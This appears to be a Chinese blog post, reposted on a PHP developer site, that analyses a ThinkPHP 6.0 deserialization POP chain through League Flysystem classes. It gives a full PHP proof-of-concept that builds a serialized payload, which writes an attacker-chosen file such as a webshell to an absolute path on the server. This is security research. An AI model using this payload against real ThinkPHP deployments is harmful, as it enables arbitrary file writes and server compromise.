热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

Thinkphp6.0反序列化链再挖掘

 前言之前分析了thinkphp 5.1,5.2,6.0的反序列化pop链,觉得师傅们实在是太厉害了,也没有想着再去自己挖掘,但是最近偶然间看到有师傅发了一条新的tp6.0的利用链出来,我也就寻思着能

 

前言

之前分析了thinkphp 5.1,5.2,6.0的反序列化pop链,觉得师傅们实在是太厉害了,也没有想着再去自己挖掘,但是最近偶然间看到有师傅发了一条新的tp6.0的利用链出来,我也就寻思着能不能自己挖一挖,于是有了这篇文章

 

分析

先给出利用链及poc:

LeagueFlysystemCachedStorageAbstractCache --> destruct()
LeagueFlysystemCachedStorageAdapter --> save()
LeagueFlysystemAdapterLocal --> write()

poc:

namespace LeagueFlysystemAdapter{
abstract class AbstractAdapter{
protected $pathPrefix;
function __construct()
{
$this->pathPrefix = '/';
}
}
class Local extends AbstractAdapter{
}
}
namespace LeagueFlysystemCachedStorage{
use LeagueFlysystemAdapterLocal;
abstract class AbstractCache{
protected $autosave = false;
protected $cache = [];
function __construct()
{
$this->autosave = false;
$this->cache = ["axin"=>""];
}
}
class Adapter extends AbstractCache{
protected $adapter;
protected $file;
function __construct()
{
parent::__construct();
$this->adapter = new Local();
$this->file = '/opt/lampp/htdocs/axin.php';
}
}
}
namespace {
use LeagueFlysystemCachedStorageAdapter;
echo urlencode(base64_encode(serialize(new Adapter())));
}

从poc中可以大概看出来我的这条利用链只是能够写入shell,不像其他大师傅们那些利用链可以直接执行命令,所以要弱鸡一点~

这次的利用链还是从常规的__destruct()以及__weakup()入手,经过全局搜索,最后锁定LeagueFlysystemCachedStorageAbstractCache类的__destruct方法:

public function __destruct()
{
if (! $this->autosave) {
$this->save();
}
}

为了执行save,我们令$this->autosave=false,然后跟进save(),由于AbstractCache是一个抽象类,没有实现save方法,我们需要找到一个实现了save方法的子类(在phpstorm,鼠标右键类名,点击find usages可以找到类出现的地方,也就可以找到相关子类):

我这里利用的是Adapter类,其实很多子类都可以形成利用链,但是我感觉和之前师傅们挖的利用链有点撞车了,所以就不说其他的链了。我们看一下Adapter类的save方法:

public function save()
{
echo "save执行!
";
$cOnfig= new Config();
$cOntents= $this->getForStorage(); //$contents完全可控
echo '此时$contents的值:'.$contents."
";
if ($this->adapter->has($this->file)) {
$this->adapter->update($this->file, $contents, $config);
} else {
$this->adapter->write($this->file, $contents, $config);
}
}

上面的几处echo是我在调试poc时自己添加的,当我看到这里的write的时候我就感觉可能会存在文件写入操作,这里的write()的参数file可控,$config不可控,我们看一下$contents是否可控,跟进getForStorage():

public function getForStorage()
{
echo "getForStorage执行!
";
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete, $this->expire]); //[{"axin":""},[],null]
}

可以看到这里返回的值$this->complete,$this->expire都可以控制,我们再看看$cleaned,进入cleanContents():

public function cleanContents(array $contents)
{
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) { // $cOntents=["axin"=>'']
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents; //$cOntents=["axin"=>'']
}

由于参数我们可以控制,这里直接返回了我们传入的值,也就是getForStorage()函数中返回值我们是可以控制的,只不过进行了json转换,但是不影响我们后续利用,回到save函数,$this->adapter->write($this->file, $contents, $config);中前两个参数可控,而且$this->adapter可控,只要找到一个wirte方法有问题的类,我们就可以收工了,但是还要注意一点,这里要想执行到write()的前提是$this->adapter->has($this->file)==false,所以我们需要找的这个类不仅要实现了has与write方法,还要能够控制has方法的返回值为false

最终我定位到了LeagueFlysystemAdapterLocal类,我们看一下它的has方法:

public function has($path) // $path可控
{
$location = $this->applyPathPrefix($path); //完全可控
return file_exists($location);
}

看来只是判断我们传入的路径文件是否存在,不过在调用file_exists()之前,给路径添加了个前缀,applyPathPrefix:

public function applyPathPrefix($path)
{
return $this->getPathPrefix() . ltrim($path, '\/');
}

用什么东西和我们的路径拼接了起来,继续看getPathPrefix() :

public function getPathPrefix()
{
return $this->pathPrefix;
}

而这里的$this->pathPrefix我们是可以控制的,所以回到has函数,只要我们输入的路径文件不存在,has就会返回false,就会执行到write():

public function write($path, $contents, Config $config)
{
echo "进入write函数!
";
$location = $this->applyPathPrefix($path);
echo '$location的值为:'.$location."
";
$this->ensureDirectory(dirname($location));
if (($size = file_put_contents($location, $contents, $this->writeFlags)) === false) {
return false;
}
$type = 'file';
$result = compact('contents', 'type', 'size', 'path');
if ($visibility = $config->get('visibility')) {
$result['visibility'] = $visibility;
$this->setVisibility($path, $visibility);
}
return $result;
}

可以看到这里执行了file_put_contents(),而且参数就是write函数的前两个参数,与$config无关,所以之前我们不能控制config也就不影响这里的shell写入。
通过之前的分析我们知道applyPathPrefix()的返回值我们是可控的,也就是$location可控,然后$contents就是之前json_encode()之后的那个值,所以file_put_contents的关键参数都是可控的,但是以防万一,我们还是看看ensureDirectory():

protected function ensureDirectory($root)
{
if ( ! is_dir($root)) {
echo "ensureDirectory执行!
";
$umask = umask(0);
if ( ! @mkdir($root, $this->permissionMap['dir']['public'], true)) {
$mkdirError = error_get_last();
}
umask($umask);
clearstatcache(false, $root);
if ( ! is_dir($root)) {
$errorMessage = isset($mkdirError['message']) ? $mkdirError['message'] : '';
throw new Exception(sprintf('Impossible to create the root directory "%s". %s', $root, $errorMessage));
}
}
}

可以看到,这个函数并不影响我们的利用链,至此整条利用链结束,这条利用链比较难受的地方就是得知道网站绝对路径。

效果演示:自己构造一个反序列化输入点,发送请求(页面的输出是我自己方便调试打印的)

文件成功写入:

ps:文章写了两遍,第一次快写完的时候电脑卡死了~一直以为安全客的编辑器能够实时保存文章,但是当我重启的时候发现我想多了,希望安全客可以考虑实时保存文章,写作体验更好^^(在做了.jpg)


推荐阅读
  • 本文介绍了使用readlink命令获取文件的完整路径的简单方法,并提供了一个示例命令来打印文件的完整路径。共有28种解决方案可供选择。 ... [详细]
  • 微信民众号商城/小顺序商城开源项目介绍及使用教程
    本文介绍了一个基于WeiPHP5.0开发的微信民众号商城/小顺序商城的开源项目,包括前端和后端的目录结构,以及所使用的技术栈。同时提供了项目的运行和打包方法,并分享了一些调试和开发经验。最后还附上了在线预览和GitHub商城源码的链接,以及加入前端交流QQ群的方式。 ... [详细]
  • 安装oracle软件1创建用户组、用户和目录bjdb节点下:[rootnode1]#groupadd-g200oinstall[rootnode1]#groupad ... [详细]
  • Summarize function is doing alignment without timezone ?
    Hi.Imtryingtogetsummarizefrom00:00otfirstdayofthismonthametric, ... [详细]
  • 获取时间的函数js代码,js获取时区代码
    本文目录一览:1、js获取服务器时间(动态)2 ... [详细]
  • 本文介绍了在开发Android新闻App时,搭建本地服务器的步骤。通过使用XAMPP软件,可以一键式搭建起开发环境,包括Apache、MySQL、PHP、PERL。在本地服务器上新建数据库和表,并设置相应的属性。最后,给出了创建new表的SQL语句。这个教程适合初学者参考。 ... [详细]
  • Linux重启网络命令实例及关机和重启示例教程
    本文介绍了Linux系统中重启网络命令的实例,以及使用不同方式关机和重启系统的示例教程。包括使用图形界面和控制台访问系统的方法,以及使用shutdown命令进行系统关机和重启的句法和用法。 ... [详细]
  • 开发笔记:加密&json&StringIO模块&BytesIO模块
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了加密&json&StringIO模块&BytesIO模块相关的知识,希望对你有一定的参考价值。一、加密加密 ... [详细]
  • 目录实现效果:实现环境实现方法一:基本思路主要代码JavaScript代码总结方法二主要代码总结方法三基本思路主要代码JavaScriptHTML总结实 ... [详细]
  • 本文讨论了在Windows 8上安装gvim中插件时出现的错误加载问题。作者将EasyMotion插件放在了正确的位置,但加载时却出现了错误。作者提供了下载链接和之前放置插件的位置,并列出了出现的错误信息。 ... [详细]
  • CSS3选择器的使用方法详解,提高Web开发效率和精准度
    本文详细介绍了CSS3新增的选择器方法,包括属性选择器的使用。通过CSS3选择器,可以提高Web开发的效率和精准度,使得查找元素更加方便和快捷。同时,本文还对属性选择器的各种用法进行了详细解释,并给出了相应的代码示例。通过学习本文,读者可以更好地掌握CSS3选择器的使用方法,提升自己的Web开发能力。 ... [详细]
  • android listview OnItemClickListener失效原因
    最近在做listview时发现OnItemClickListener失效的问题,经过查找发现是因为button的原因。不仅listitem中存在button会影响OnItemClickListener事件的失效,还会导致单击后listview每个item的背景改变,使得item中的所有有关焦点的事件都失效。本文给出了一个范例来说明这种情况,并提供了解决方法。 ... [详细]
  • Metasploit攻击渗透实践
    本文介绍了Metasploit攻击渗透实践的内容和要求,包括主动攻击、针对浏览器和客户端的攻击,以及成功应用辅助模块的实践过程。其中涉及使用Hydra在不知道密码的情况下攻击metsploit2靶机获取密码,以及攻击浏览器中的tomcat服务的具体步骤。同时还讲解了爆破密码的方法和设置攻击目标主机的相关参数。 ... [详细]
  • 在重复造轮子的情况下用ProxyServlet反向代理来减少工作量
    像不少公司内部不同团队都会自己研发自己工具产品,当各个产品逐渐成熟,到达了一定的发展瓶颈,同时每个产品都有着自己的入口,用户 ... [详细]
  • Go Cobra命令行工具入门教程
    本文介绍了Go语言实现的命令行工具Cobra的基本概念、安装方法和入门实践。Cobra被广泛应用于各种项目中,如Kubernetes、Hugo和Github CLI等。通过使用Cobra,我们可以快速创建命令行工具,适用于写测试脚本和各种服务的Admin CLI。文章还通过一个简单的demo演示了Cobra的使用方法。 ... [详细]
author-avatar
路人不会编程
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有